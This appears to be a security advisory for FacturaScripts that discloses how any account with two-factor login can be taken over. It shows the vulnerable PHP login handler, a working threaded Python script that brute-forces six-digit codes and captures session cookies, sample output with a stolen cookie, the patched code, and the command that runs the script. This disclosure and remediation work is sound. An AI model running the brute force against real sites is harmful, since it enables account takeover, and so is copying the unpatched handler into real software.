FacturaScripts: Account takeover of any 2FA-enabled user

 1protected function twoFactorValidationAction(Request $request): void
 2{
 3    $userName = $request->input('fsNick');
 4    $user = new User();
 5    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
 6        Tools::log()->warning('two-factor-code-invalid');
 7        $this->saveIncident(Session::getClientIp(), $userName);
 8        return;
 9    }
10 
11    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
12}

 1#!/usr/bin/env python3
 2"""
 3PoC: brute-force the 2FA endpoint.
 4Required: pip install requests
 5"""
 6import os, sys, time, random, threading, requests
 7 
 8BASE      = os.environ.get("BASE",      "http://localhost:9999")
 9NICK      = os.environ.get("NICK",      "admin")
10THREADS   = int(os.environ.get("THREADS",   "32"))
11MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
12 
13hit = threading.Event()
14attempt_count = [0]
15lock = threading.Lock()
16start = time.time()
17result = {}
18 
19def worker(tid: int) -> None:
20    s = requests.Session()
21    while not hit.is_set():
22        with lock:
23            n = attempt_count[0]
24            if n >= MAX_TRIES:
25                return
26            attempt_count[0] += 1
27        code = f"{random.randint(0, 999999):06d}"
28        try:
29            r = s.post(f"{BASE}/login",
30                       data={"action": "two-factor-validation",
31                             "fsNick":  NICK,
32                             "fsTwoFactorCode": code},
33                       allow_redirects=False, timeout=5)
34        except requests.RequestException:
35            continue
36        sc = r.headers.get("Set-Cookie", "")
37        if r.status_code == 302 and "fsLogkey" in sc:
38            with lock:
39                if hit.is_set():
40                    return
41                hit.set()
42                result["code"]    = code
43                result["n"]       = n
44                result["cookies"] = {c.name: c.value for c in r.cookies}
45            return
46 
47def main() -> int:
48    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
49    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
50               for i in range(THREADS)]
51    for t in threads: t.start()
52    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
53        time.sleep(2)
54        elapsed = time.time() - start
55        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
56              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
57    for t in threads: t.join()
58    elapsed = time.time() - start
59    if hit.is_set():
60        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
61              f"attempts in {elapsed:.1f}s")
62        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
63        print(f"[+] Cookies: {cookie_hdr}")
64        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
65        return 0
66    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
67    return 1
68 
69if __name__ == "__main__":
70    sys.exit(main())

 1[*] target=http://localhost:9999  nick=victim  threads=32
 2  [  2.2s] attempts=   1094  rps=  493
 3  [ 24.4s] attempts=  11535  rps=  473
 4  [ 50.0s] attempts=  23420  rps=  468
 5  [100.7s] attempts=  41247  rps=  410
 6  [144.9s] attempts=  55418  rps=  383
 7 
 8[+] FOUND code=055473 after 55,773 attempts in 146.0s
 9[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

 1// Core/Controller/Login.php
 2protected function twoFactorValidationAction(Request $request): void
 3{
 4    if (false === $this->validateFormToken($request)) {                       // fix 2
 5        return;
 6    }
 7    $userName = $request->input('fsNick');
 8    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3
 9        Tools::log()->warning('ip-banned');
10        return;
11    }
12    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
13    if (false === Cache::get($nonceKey)) {                                    // fix 1
14        Tools::log()->warning('two-factor-no-pending-login');
15        $this->saveIncident(Session::getClientIp(), $userName);
16        return;
17    }
18    Cache::delete($nonceKey);
19 
20    $user = new User();
21    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
22        Tools::log()->warning('two-factor-code-invalid');
23        $this->saveIncident(Session::getClientIp(), $userName);
24        return;
25    }
26    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
27}
28 
29// Core/Lib/TwoFactorManager.php
30private const VERIFICATION_WINDOW = 1; // fix 4 — was 8

 1if ($user->two_factor_enabled) {
 2    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
 3               bin2hex(random_bytes(16)), 300);
 4    $this->two_factor_user = $user->nick;
 5    $this->template = 'Login/TwoFactor.html.twig';
 6    return;
 7}

 1 
 2# brute force (only nick known) — secret on the server can be anything
 3NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py